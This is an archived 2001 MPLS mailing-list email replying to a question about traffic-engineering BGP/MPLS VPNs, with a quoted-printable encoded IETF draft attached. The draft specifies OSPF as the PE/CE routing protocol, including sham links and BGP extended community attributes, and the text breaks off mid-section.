	for <mpls@uu.net>; Mon, 21 May 2001 08:31:27 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA29563 for mpls@uu.net; Mon, 21 May 2001 11:31:26 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpzh22832
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 15:19:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpzh02923
	for <mpls@uu.net>; Mon, 21 May 2001 15:17:59 GMT
Received: from exc-sc1.yagosys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host3.riverstonenet.com [63.113.148.3] (may be forged))
	id QQkpzh22555
	for <mpls@uu.net>; Mon, 21 May 2001 15:17:58 GMT
Received: by exc-sc1.yagosys.com with Internet Mail Service (5.5.2653.19)
	id <K070VNM5>; Mon, 21 May 2001 08:16:17 -0700
Message-ID: <329F35B18824D511B9C30008C7339558017EB7@exc-sc1.yagosys.com>
From: "Balagot, Miguel" <mbalagot@riverstonenet.com>
To: "'Bala Subrahmanyam Venkata '" <bsubrahm@doradosoftware.com>,
        "'mpls-ops@mplsrc.com '" <mpls-ops@mplsrc.com>
Cc: "'mpls@uu.net '" <mpls@UU.NET>
Subject: RE: BGP/MPLS VPN over a TE'd  core..
Date: Mon, 21 May 2001 08:16:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C0E208.FB48C580"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0E208.FB48C580
Content-Type: text/plain;
	charset="iso-8859-1"


 Bala,
Though it's not a standard document, here's a draft that will give you a
good info in traffic engineering your VPN.
I hope it helps.

Miguel


-----Original Message-----
From: Bala Subrahmanyam Venkata
To: mpls-ops@mplsrc.com
Cc: mpls@uu.net
Sent: 5/20/01 5:10 PM
Subject: BGP/MPLS VPN over a TE'd  core..

All-

Are there any references for creating 'standard' BGP/MPLS VPNs over a
traffic engineered core ? I was reading through Juniper's doc on
BGP/MPLS
VPN creation (the "MPLS Applications" guide on their website) but it
does
not specify how I would engineer my core for a specific VPN
(specifically,
is it possible to select a particular 'pre-created' LSP that I have with
explicit hops and certain service parameters for a given BGP/MPLS VPN ?)
It
will be better if you can tell me if this is a valid requirement for an
ISP.


TIA,

bala




-------
The MPLS-OPS Mailing List
Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
Archive: http://www.mplsrc.com/mpls-ops_archive.shtml


------_=_NextPart_000_01C0E208.FB48C580
Content-Type: application/octet-stream;
	name="draft-rosen-vpns-ospf-bgp-mpls-01.txt"
Content-Disposition: attachment;
	filename="draft-rosen-vpns-ospf-bgp-mpls-01.txt"
Content-Transfer-Encoding: quoted-printable

=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Network Working Group                                      Eric C. =
Rosen=0A=
Internet Draft                                              Peter =
Psenak=0A=
Expiration Date: August 2001                         Cisco Systems, =
Inc.=0A=
=0A=
                                                           February =
2001=0A=
=0A=
=0A=
              OSPF as the PE/CE Protocol in BGP/MPLS VPNs=0A=
=0A=
=0A=
                 draft-rosen-vpns-ospf-bgp-mpls-01.txt=0A=
=0A=
Status of this Memo=0A=
=0A=
   This document is an Internet-Draft and is in full conformance =
with=0A=
   all provisions of Section 10 of RFC2026.=0A=
=0A=
   Internet-Drafts are working documents of the Internet Engineering=0A=
   Task Force (IETF), its areas, and its working groups.  Note that=0A=
   other groups may also distribute working documents as Internet-=0A=
   Drafts.=0A=
=0A=
   Internet-Drafts are draft documents valid for a maximum of six =
months=0A=
   and may be updated, replaced, or obsoleted by other documents at =
any=0A=
   time.  It is inappropriate to use Internet-Drafts as reference=0A=
   material or to cite them other than as "work in progress."=0A=
=0A=
   The list of current Internet-Drafts can be accessed at=0A=
   http://www.ietf.org/ietf/1id-abstracts.txt.=0A=
=0A=
   The list of Internet-Draft Shadow Directories can be accessed at=0A=
   http://www.ietf.org/shadow.html.=0A=
=0A=
Abstract=0A=
=0A=
   [VPN] describes a method of providing a VPN service.  That method=0A=
   allows a variety of different protocols to be used as the routing=0A=
   protocol between the Customer Edge (CE) router and the Provider =
Edge=0A=
   (PE) router.  However, it does not fully specify the procedures =
which=0A=
   must be implemented within the Provider's network when OSPF is =
used=0A=
   as the PE/CE routing protocol.  This document provides that=0A=
   specification.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
1]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
=0A=
=0A=
Table of Contents=0A=
=0A=
    1      Specification of Requirements  ..........................   =
2=0A=
    2      Introduction  ...........................................   =
2=0A=
    3      Requirements  ...........................................   =
3=0A=
    4      BGP/OSPF Interaction Procedures for PE routers  .........   =
5=0A=
    4.1    Overview  ...............................................   =
5=0A=
    4.2    Details  ................................................   =
7=0A=
    4.2.1  General  ................................................   =
7=0A=
    4.2.2  Handling LSAs from the CE  ..............................   =
8=0A=
    4.2.3  Sham Links  .............................................  =
10=0A=
    4.2.4  VPN-IP routes received via BGP  .........................  =
12=0A=
    5      Acknowledgments  ........................................  =
13=0A=
    6      Authors' Address  .......................................  =
13=0A=
    7      Bibliography  ...........................................  =
14=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
1. Specification of Requirements=0A=
=0A=
   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL =
NOT",=0A=
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in =
this=0A=
   document are to be interpreted as described in RFC 2119.=0A=
=0A=
=0A=
2. Introduction=0A=
=0A=
   [VPN] describes a method by which a Service Provider (SP) can use =
its=0A=
   IP backbone to provide a VPN service to customers.  In that method, =
a=0A=
   customer's edge devices (CE devices) are connected to the =
provider's=0A=
   edge routers (PE routers).  If the CE device is a router, then the =
PE=0A=
   router may become a routing peer of the CE router (in some =
routing=0A=
   protocol), and may as a result learn the routes which lead to the=0A=
   CE's site and which need to be distributed to other PE routers =
that=0A=
   attach to the same VPN.=0A=
=0A=
   The PE routers which attach to a common VPN use BGP to distribute =
the=0A=
   VPN's routes to each other.  A CE router can then learn the routes =
to=0A=
   other sites in the VPN by peering with its attached PE router in =
a=0A=
   routing protocol.  CE routers at different sites do not, however,=0A=
   peer with each other.=0A=
=0A=
   It can be expected that many VPNs will use OSPF as their internal=0A=
   routing protocol.  This does not necessarily mean that the PE =
routers=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
2]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
   need to use OSPF to peer with the CE routers.  Each site in a VPN =
can=0A=
   use OSPF as its intra-site routing protocol, while using, e.g., =
BGP=0A=
   or RIP to distribute routes to a PE router.  However, it is =
certainly=0A=
   convenient, when OSPF is being used intra-site, to use it on the =
PE-=0A=
   CE link as well, and [VPN] explicitly allows this.=0A=
=0A=
   Like anything else, the use of OSPF on the PE-CE link has =
advantages=0A=
   and disadvantages.  The disadvantage to using OSPF on the PE-CE =
link=0A=
   is that it gets the PE router involved in a VPN site's IGP, =
however=0A=
   peripherally.  The advantages though are:=0A=
=0A=
     - The administrators of the CE router need not have any =
expertise=0A=
       in any routing algorithm other than OSPF.=0A=
=0A=
     - The CE routers do not need to have support for any routing=0A=
       algorithms other than OSPF.=0A=
=0A=
     - If a customer is transitioning his network from a traditional=0A=
       OSPF backbone to the VPN service described in [VPN], the use =
of=0A=
       OSPF on the PE-CE link eases the transitional issues.=0A=
=0A=
   It seems likely that some SPs and their customers will resolve =
these=0A=
   trade-offs in favor of the use of OSPF on the PE-CE link.  Thus =
we=0A=
   need to specify the procedures which must be implemented by a PE=0A=
   router in order to make this possible.  (No special procedures =
are=0A=
   needed in the CE router though; CE routers just run whatever OSPF=0A=
   implementations they may have.)=0A=
=0A=
=0A=
3. Requirements=0A=
=0A=
   Consider a set of VPN sites which are thought of as a common =
"OSPF=0A=
   domain".  These will almost certainly be a set of sites which=0A=
   together constitute an "intranet", and each of which runs OSPF as =
its=0A=
   intra-site routing protocol.=0A=
=0A=
   Per [VPN], the VPN routes are distributed among the PE routers by=0A=
   BGP.  If the PE uses OSPF to distribute routes to the CE router, =
the=0A=
   standard procedures governing BGP/OSPF interactions [OSPF] would=0A=
   cause routes from one site to be delivered to another as =
AS-external=0A=
   routes (in type 5 LSAs).  This is undesirable; it would be much=0A=
   better to deliver such routes in type 3 LSAs (as inter-area =
routes),=0A=
   so that they can be distinguished from any "real" AS-external =
routes=0A=
   that may be circulating in the VPN. (That is, so that they can be=0A=
   distinguished by OSPF from routes which really do not come from=0A=
   within the VPN.)  Hence it is necessary for the PE routers to=0A=
   implement a modified version of the BGP/OSPF interaction =
procedures.=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
3]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
   In fact, we would like to have a very general set of procedures =
which=0A=
   allows a customer to easily replace a legacy private OSPF =
backbone=0A=
   with the VPN service.  We would like this procedure to meet the=0A=
   following set of requirements:=0A=
=0A=
     - The procedures should not make assumptions about the OSPF=0A=
       topology.  In particular, it should not be assumed that =
customer=0A=
       sites are OSPF stub sites or NSSA sites.  Nor should it be=0A=
       assumed that a customer site contains only one OSPF area, or =
that=0A=
       it has no area 0 routers.=0A=
=0A=
     - If VPN sites A and B are in the same OSPF domain, then routes=0A=
       from one should be presented to the other as OSPF =
intra-network=0A=
       routes.  In general, this can be done by presenting such =
routes=0A=
       in type 3 LSAs.=0A=
=0A=
       Note that this allows two VPN sites to be connected via an =
"OSPF=0A=
       backdoor link".  That is, one can have an OSPF link between =
the=0A=
       two sites which is used only when the VPN backbone is=0A=
       unavailable.   (This would not be possible with the ordinary=0A=
       BGP/OSPF interaction procedures.  The ordinary procedures =
would=0A=
       present routes via the VPN backbone as AS-external routes, =
and=0A=
       these could never be preferred to intra-network routes.)  =
This=0A=
       may be very useful during a period of transition from a =
legacy=0A=
       OSPF backbone to a VPN backbone.=0A=
=0A=
     - It should be possible to make use of an "OSPF backdoor link"=0A=
       between two sites, even if the two sites are in the same OSPF=0A=
       area, and neither of the routers attached to the inter-site=0A=
       backdoor link is an area 0 router.  This can also be very =
useful=0A=
       during a transition period, and eliminates any need to=0A=
       reconfigure the sites' routers to be ABRs.=0A=
=0A=
       Assuming that it is desired to have the route via the VPN=0A=
       backbone be preferred to the backdoor route, the VPN backbone=0A=
       itself must be presented to the CE routers at each site as a =
link=0A=
       between the two PE routers to which the CE routers are=0A=
       respectively attached.=0A=
=0A=
     - CE routers, connected to PE routers of the VPN service, may=0A=
       themselves function as OSPF backbone (area 0) routers.  An =
OSPF=0A=
       backbone may even consist of several "segments" which are=0A=
       interconnected themselves only via the VPN service. In such a=0A=
       scenario, full intercommunication between sites connected to=0A=
       different segments of the OSPF backbone should still be =
possible.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
4]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
     - The transition from the legacy private OSPF backbone to the =
VPN=0A=
       service must be simple and straightforward.  The transition =
is=0A=
       likely to be phased, such that customer sites are migrated one =
by=0A=
       one from the legacy private OSPF backbone to the VPN service.=0A=
       During the transition, any given site might be connected to =
the=0A=
       VPN service, to the legacy OSPF backbone, or to both. =
Complete=0A=
       connectivity among all such sites must be maintained.=0A=
=0A=
       Since the VPN service is to replace the legacy backbone, it =
must=0A=
       be possible, by suitable adjustment of the OSPF metrics, to =
make=0A=
       OSPF prefer routes which traverse the SP's VPN backbone to=0A=
       alternative routes which do not.=0A=
=0A=
     - The OSPF metric assigned to a given route should be carried=0A=
       transparently over the VPN backbone.=0A=
=0A=
   Routes from sites which are not in the same OSPF domain will =
appear=0A=
   as AS-external routes.=0A=
=0A=
   We presuppose familiarity with the contents of [OSPF], including =
the=0A=
   OSPF LSA types, and will refer without further exegesis to type 1, =
2,=0A=
   3, etc., LSAs.  Familiarity with [VPN] is also presupposed.=0A=
=0A=
=0A=
4. BGP/OSPF Interaction Procedures for PE routers=0A=
=0A=
4.1. Overview=0A=
=0A=
   [VPN] defines the notion of a Per-Site Routing and Forwarding =
Table,=0A=
   or VRF. A PE router must be capable of running multiple instances =
of=0A=
   OSPF, where each instance is associated with a particular VRF.=0A=
   (Whether these instances are realized as separate processes, or=0A=
   merely as separate contexts of a common process, is an =
implementation=0A=
   matter.)=0A=
=0A=
   BGP is used to distribute routes among the set of PE routers that=0A=
   attach to a single OSPF domain.  Per [VPN], these routes are=0A=
   distributed as VPN-IP routes.  Import/export to/from particular =
VRFs=0A=
   is governed via Route Targets.  To meet the above requirements, a =
PE=0A=
   which imports a particular route into a particular VRF needs to =
know=0A=
   whether that route comes from the same OSPF domain and the same =
OSPF=0A=
   area as the CEs to which it is attached.  Our procedure is to =
encode=0A=
   this information as BGP Extended Communities attributes [EXT], =
and=0A=
   have BGP distribute it along with the VPN-IP route.  The OSPF =
metric=0A=
   of a route is also carried as a BGP attribute of the route.=0A=
=0A=
   If two PEs attach to different VPN sites that are in the same =
OSPF=0A=
   area (as indicated by the OSPF area number), the PE/CE links to =
those=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
5]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
   site MAY be treated as links within that area. In addition, each =
PE=0A=
   MAY flood, into that area, a type 1 LSA advertising a link to the=0A=
   other PE.  If this procedure is followed, two VPN sites in the =
same=0A=
   OSPF area will see the VPN backbone as a link within that area, a=0A=
   link between the two PE routers.  We refer to this link as a =
"sham=0A=
   link".  This allows routes from one site to the other to be =
treated=0A=
   as intra-area routes.  The procedures governing the use of sham =
links=0A=
   are specified in Section 4.2.3.=0A=
=0A=
   Every PE attached to a particular OSPF network MUST be an OSPF area =
0=0A=
   router. This allows it to distribute inter-area routes to the CE =
via=0A=
   Type 3 LSAs.  The CE router might or might not be an area 0 =
router,=0A=
   and the PE/CE link might or might not be an area 0 link.=0A=
=0A=
   If the OSPF network contains area 0 routers (other than the PE=0A=
   routers), at least one PE router must have an area 0 link to a =
non-PE=0A=
   area 0 router in that OSPF network. (The non-PE area 0 router=0A=
   functions as a CE router.) This ensures that inter-area routes =
and=0A=
   AS-external routes can be leaked between the PE routers and the =
non-=0A=
   PE OSPF backbone.=0A=
=0A=
   When a type 3 LSA is sent over an area 0 link from a PE router to =
a=0A=
   CE router, a special bit in the LSA Options field is set.  This =
is=0A=
   used to ensure that if any CE router sends this type 3 LSA to a =
PE=0A=
   router, the PE router will not further redistribute it.=0A=
=0A=
   Two sites which are not in the same OSPF area will see the VPN=0A=
   backbone as being an integral part of the OSPF backbone. However, =
if=0A=
   there are area 0 routers which are NOT PE routers, then the VPN=0A=
   backbone actually functions as a sort of higher level backbone,=0A=
   providing a third level of hierarchy above area 0.  This allows a=0A=
   legacy OSPF backbone to become disconnected during a transition=0A=
   period, as long as the various segments all attach to the VPN=0A=
   backbone.=0A=
=0A=
   When a PE router needs to distribute to a CE router a route which=0A=
   comes from a site outside the latter's OSPF domain, the PE router=0A=
   presents itself as an ASBR, and distributes the route in a type 5=0A=
   LSA.  OSPF route tagging is used to ensure that a type 5 LSA=0A=
   generated by a PE router will be ignored by any other PE router =
that=0A=
   may receive it.  A special OSPF route tag, which we will call the =
VPN=0A=
   Route Tag, will be used for this purpose.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
6]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
4.2. Details=0A=
=0A=
4.2.1. General=0A=
=0A=
   If a PE and a CE are communicating via OSPF, the PE MUST create, =
and=0A=
   MUST flood to the CE, a type 1 LSA advertising its link to the =
CE.=0A=
   The PE MUST have an OSPF router id which is valid (i.e., unique)=0A=
   within the OSPF domain. The PE MUST also be configured to know =
which=0A=
   OSPF area the link is in. A PE-CE link may be in any area, =
including=0A=
   area 0; this is a matter of the OSPF configuration.=0A=
=0A=
   Whether or not the PE-CE link is an area 0 link, the PE itself =
MUST=0A=
   be an OSPF area 0 router.  That is, the link state topology from =
a=0A=
   site will not be passed along by the PE.=0A=
=0A=
   The PE MUST support at least one OSPF instance for each OSPF =
domain=0A=
   to which it attaches.  Each instance of OSPF MUST be associated =
with=0A=
   a single VRF.  If n CEs associated with that VRF are running OSPF =
on=0A=
   their respective PE/CE links, then those n CEs are OSPF =
adjacencies=0A=
   of the PE in the corresponding instance of OSPF.  Generally, =
though=0A=
   not necessarily, if the PE attaches to several CEs in the same =
OSPF=0A=
   domain, it will associate the interfaces to those PEs with a =
single=0A=
   VRF.=0A=
=0A=
   If the OSPF domain has any area 0 routers (other than the PE=0A=
   routers), then at least one of those MUST be a CE router, and =
MUST=0A=
   have an area 0 link to at least one PE router. This adjacency MAY =
be=0A=
   via an OSPF virtual link.=0A=
=0A=
   For each OSPF domain, there MUST be a globally unique identifier=0A=
   which can be encoded in a BGP Extended Communities attribute. =
Routes=0A=
   from a particular OSPF domain will, when distributed in BGP as =
VPN-=0A=
   IPv4 routes, carry this attribute. The OSPF Domain will be encoded =
as=0A=
   the VPN of Origin Extended Community [VPN, EXT] attribute.  (It =
is=0A=
   shown in [VPN] how to assign globally unique values to this=0A=
   attribute.) Each VRF that is associated with an OSPF instance must =
be=0A=
   configured with a value of this attribute. All VRFs that =
correspond=0A=
   to the same OSPF domain MUST be configured with the same value of=0A=
   this attribute.=0A=
=0A=
   If a particular VRF in a PE is associated with an instance of =
OSPF,=0A=
   then it will be configured with a special OSPF route tag value, =
which=0A=
   we call the VPN Route Tag.  This route tag will be included in =
any=0A=
   Type 5 LSAs that the PE originates and sends to any of the =
attached=0A=
   CEs. Its value is arbitrary, but must be distinct from any OSPF =
Route=0A=
   Tag being used within the OSPF domain.  Its value MUST therefore =
be=0A=
   configurable.=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
7]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
   If a PE router needs to use OSPF to distribute to a CE router a =
route=0A=
   which comes from a site outside the CE router's OSPF domain, the =
PE=0A=
   router SHOULD present itself to the CE router as an Autonomous =
System=0A=
   Border Router (ASBR), and SHOULD report such routes as =
AS-external=0A=
   routes.  That is, these PE routers originate Type 5 LSAs =
reporting=0A=
   the extra-domain routes as AS-external routes. Each such Type 5 =
LSA=0A=
   MUST contain an OSPF route tag whose value is that of the VPN =
Route=0A=
   Tag.  This tag identifies the route as having come from a PE =
router.=0A=
   The VPN Route Tag MUST be used to ensure that a Type 5 LSA =
originated=0A=
   by a PE router is not redistributed through the OSPF area to =
another=0A=
   PE router.=0A=
=0A=
   When a PE/CE link is an area 0 link, the high-order bit of the =
LSA=0A=
   Options field (previously unused) is used to distinguish type 3 =
LSAs=0A=
   which report routes across the VPN backbone from other VPN sites. =
We=0A=
   refer to this as the DN bit. The DN bit is set in a type 3 LSA =
which=0A=
   is sent from a PE router to a CE router across an area 0 link. When =
a=0A=
   PE router receives, from a CE router, a type 3 LSA with the DN =
bit=0A=
   set, the route is ignored. Without this mechanism, the type 3 LSA=0A=
   could be sent by a PE to a CE, flooded through a number of OSPF=0A=
   routers, and then sent to another PE; this could cause a loop.  =
This=0A=
   mechanism prevents such loops.=0A=
=0A=
=0A=
4.2.2. Handling LSAs from the CE=0A=
=0A=
   This section specifies the way in which a PE router handles the =
OSPF=0A=
   LSAs it receives from a CE router.=0A=
=0A=
   If a route is received in a Type 5 LSA, and if it has an OSPF =
route=0A=
   tag value equal to the VPN Route Tag, then that route is ignored.=0A=
=0A=
   If a route is received in a Type 3 LSA, and if it has the DN bit =
set=0A=
   in its Options Field, then the route is ignored.=0A=
=0A=
   Otherwise, there is normal OSPF processing, for the relevant =
instance=0A=
   of OSPF in the PE.=0A=
=0A=
   Next, the PE must examine the corresponding VRF. For every =
address=0A=
   prefix which appears there, the PE must create a VPN-IPv4 route =
in=0A=
   BGP. These routes must have the following attributes:=0A=
=0A=
     - The VPN of Origin Extended Community attribute must uniquely =
and=0A=
       globally identify the OSPF domain, as explained above.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
8]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
     - OSPF Route Type Extended Community Attribute. This is encoded =
as=0A=
       follows:=0A=
=0A=
         * Type: 0x8000=0A=
=0A=
         * Area Number: 4 bytes, encoding a 32-bit area number. For =
AS-=0A=
           external routes, the value is 0. A non-zero value =
identifies=0A=
           the route as being internal to the OSPF domain, and as =
being=0A=
           within the identified area. Area numbers are relative to =
a=0A=
           particular OSPF domain.=0A=
=0A=
         * OSPF Route Type: 1 byte, encoded as follows:=0A=
=0A=
             ** 1 or 2 for intra-area routes (depending on whether =
the=0A=
                route came from a type 1 or a type 2 LSA -- however =
this=0A=
                difference is not significant to the procedures=0A=
                specified herein)=0A=
=0A=
             ** 3 for summary routes=0A=
=0A=
             ** 5 for external routes (area number must be 0)=0A=
=0A=
             ** 7 for NSSA routes.=0A=
=0A=
         * Options: 1 byte. Currently this is only used if the route=0A=
           type is 5 or 7. Setting the least significant bit in the=0A=
           field indicates that the route carries a type 2 metric.=0A=
=0A=
     - OSPF Router ID Extended Community. This attribute specifies =
the=0A=
       router-id corresponding to the router that is identified in =
the=0A=
       BGP Next Hop attribute.=0A=
         * Type: 0x8001=0A=
=0A=
         * Router ID: 4 Byte=0A=
=0A=
         * Unused: 2 Byte. Must be zero.=0A=
=0A=
       Note that this router-id is an address in the address space =
of=0A=
       the OSPF network (i.e., the address space of the VPN), NOT in =
the=0A=
       address space of the Service Provider network. That is, it =
must=0A=
       be unique only within an OSPF domain.=0A=
=0A=
     - MED. By default, this should be set to the value of the OSPF=0A=
       distance associated with the route, plus 1.=0A=
=0A=
       The intention of all this is the following. OSPF Routes from =
one=0A=
       site are converted to BGP, distributed across the VPN =
backbone,=0A=
       and possibly converted back to OSPF routes before being=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                  [Page =
9]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
       distributed into another site. With these attributes, BGP =
carries=0A=
       enough information about the route to enable the route to be=0A=
       converted back into OSPF "transparently", just as if BGP had =
not=0A=
       been involved.=0A=
=0A=
   Routes which a PE receives in type 4 LSAs MUST be  ignored.=0A=
=0A=
   The attributes specified above are in addition to any other=0A=
   attributes which routes must carry in accord with the [VPN].=0A=
=0A=
   The Site of Origin attribute, which is usually required by [VPN], =
is=0A=
   OPTIONAL for routes which a PE learns from a CE via OSPF.=0A=
=0A=
   Use of the Site of Origin attribute would, in the case of a =
multiply=0A=
   homed site (i.e., a site attached to several PE routers), prevent =
an=0A=
   intra-site route from being reinjected into a site from the VPN=0A=
   backbone. Such a reinjection would not harm the routing, because =
the=0A=
   route via the VPN backbone would be advertised in a type 3 LSA, =
and=0A=
   hence would appear to be an inter-area route; the real intra-area=0A=
   route would be preferred. But unnecessary overhead would be=0A=
   introduced. On the other hand, if the Site of Origin attribute is =
not=0A=
   used, a partitioned site will find itself automatically repaired,=0A=
   since traffic from one partition to the other will automatically=0A=
   travel via the VPN backbone. Therefore the use of a Site of =
Origin=0A=
   attribute is optional, so that a trade-off can be made between =
the=0A=
   cost of the increased overhead and the value of automatic =
partition=0A=
   repair.=0A=
=0A=
=0A=
4.2.3. Sham Links=0A=
=0A=
   Suppose there are two sites in the same OSPF area.  Each site is=0A=
   attached to a different PE router, and there is also an =
intra-area=0A=
   OSPF link connecting the two sites.=0A=
=0A=
   It is possible to treat these two sites as a single VPN site =
which=0A=
   just happens to be multihomed to the backbone.  This is in fact =
the=0A=
   simplest thing to do, and is perfectly adequate, providing that =
the=0A=
   preferred route between the two sites is via the intra-area OSPF =
link=0A=
   (a "backdoor link"), rather than via the VPN backbone.  There will =
be=0A=
   routes between sites that go through the PE routers, but these =
routes=0A=
   will appear to be inter-area routes, and OSPF will consider them =
to=0A=
   be less preferable than the intra-area routes through the =
backdoor=0A=
   link.=0A=
=0A=
   If it is desired to have OSPF prefer the routes through the =
backbone=0A=
   over the routes through the backdoor link, then the routes =
through=0A=
   the backbone must be appear to be intra-area routes.  To make a =
route=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                 [Page =
10]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
   through the backbone appear to be an inter-area route, it is=0A=
   necessary to make it appear as if there is an intra-area link=0A=
   connecting the two PE routers.  This is what we refer to as a =
"sham=0A=
   link".  (If the two sites attach to the same PE router, this of=0A=
   course is not necessary.)=0A=
=0A=
   A sham link can be thought of as a relation between two VRFs.  To=0A=
   configure a sham link between two VRFs, at least one of the VRFs =
has=0A=
   to be configured to create a sham link to the other, where the=0A=
   "other" is identified by its router Id.  Procedures for =
single-ended=0A=
   configuration of the sham link are for further study.=0A=
=0A=
   If it were considered desirable to create a full mesh of sham =
links=0A=
   among sites that are in the same VPN, and which have the same =
OSPF=0A=
   area number, then the creation of the sham links could be fully=0A=
   automated.  It seems more likely that one will want to have more=0A=
   control over the existence of the sham links, in which case=0A=
   configuration is needed.=0A=
=0A=
   If two VRFs are to be connected by a sham link, each VRF must be=0A=
   configured with a "sham link endpoint address", a /32 address =
which=0A=
   is treated as an address of the PE router containing that VRF.  =
The=0A=
   sham link endpoint address is an address in the VPN's address =
space,=0A=
   not the SP's address space.  It is distributed as a VPN-IPv4 =
address=0A=
   by BGP, but is not advertised by OSPF.  (Each VRF also has an =
OSPF=0A=
   router-id, but if the OSPF router-id is itself advertised by =
OSPF,=0A=
   then the sham link endpoint address must be different from the=0A=
   router-id.)  To configure a sham link, one must specify the =
remote=0A=
   sham link endpoint address.=0A=
=0A=
   Sham links MUST be treated by OSPF as OSPF Demand Circuits.  This=0A=
   means that LSAs will be flooded over them, but periodic refresh=0A=
   traffic is avoided.  Note that, as long as the backdoor link is =
up,=0A=
   flooding the LSAs over the sham link serves no purpose.  However, =
if=0A=
   the backdoor link goes down, OSPF does not have mechanisms =
enabling=0A=
   the routers in one site to rapidly flush the LSAs from the other=0A=
   site.  Therefore it is still necessary to maintain =
synchronization=0A=
   among the LSA databases at the two sites, hence the flooding over =
the=0A=
   sham link.=0A=
=0A=
   The sham link is an unnumbered point-to-point intra-area link, and =
is=0A=
   advertised by means of a type 1 LSA.=0A=
=0A=
   Sham links may be created for any area, including area 0.=0A=
=0A=
   The OSPF metric associated with a sham link must be configurable =
(and=0A=
   there must be a configurable default). Whether traffic between =
the=0A=
   sites flows via a backdoor link or via the VPN backbone (i.e., =
via=0A=
=0A=
=0A=
=0A=
Rosen & Psenak                                                 [Page =
11]=0A=
=0A=
=0C=0A=
Internet Draft   draft-rosen-vpns-ospf-bgp-mpls-01.txt     February =
2001=0A=
=0A=
=0A=
   the sham link) depends on the settings of the OSPF link metrics.  =
The=0A=
   metrics can be set so that the backdoor link is not used unless=0A=
   connectivity via the VPN backbone fails, for example.=0A=
=0A=
   If a PE determines that a particular route traverses the sham =
link,=0A=
   then the PE SHOULD NOT redistribute that route into BGP as a =
VPN-IPv4=0A=
   route.=0A=
=0A=
=0A=
=0A=
4.2.4. VPN-IP routes received via BGP=0A=
=0A=
   This section describes how the PE router handles VPN-IP routes=0A=
   received via BGP.=0A=
=0A=
   If a received BGP VPN-IP route is not installed in the VRF, =
nothing=0A=
   is reported to the CE. A received route will not be installed =
into=0A=
   the VRF if some other route is preferable. (Note that a route =
which=0A=
   is not installed in the VRF may still cause the PE to create an =
OSPF=0A=
   link to another PE as specified in the previous section.)=0A=
=0A=
   Note that according to the usual OSPF route preference rules, =
intra-=0A=
   area routes, as computed by the OSPF, will be installed in the VRF =
in=0A=
   preference to any other routes received over BGP. This means that =
the=0A=
   CE will simply not hear about inter-area or external routes to=0A=
   address prefixes for which there is an intra-area route.=0A=
=0A=
   In the following, we specify what is reported, in OSPF LSAs, by =
the=0A=
   PE to the CE, assuming that the PE is not configured to do any=0A=
   further summarization or filtering of the routing information =
before=0A=
   reporting it to the CE.=0A=
=0A=
   If ONE of the following conditions holds for a given route that =
is=0A=
   received via BGP:=0A=
=0A=
     - the route does not have a VPN of Origin attribute =
(identifying=0A=
       the OSPF domain), or=0A=
=0A=
     - the route's VPN of Origin attribute has a value which is not =
the=0A=
       same as that associated with the VRF, or=0A=
=0A=
     - the route has no OSPF Route Type attribute=0A=
=0A=
   then the route MUST be distributed to the CE in a type 5 LSA with =
a=0A=
   type 2 metric. By default, the MED, if present, is converted to a=0A=
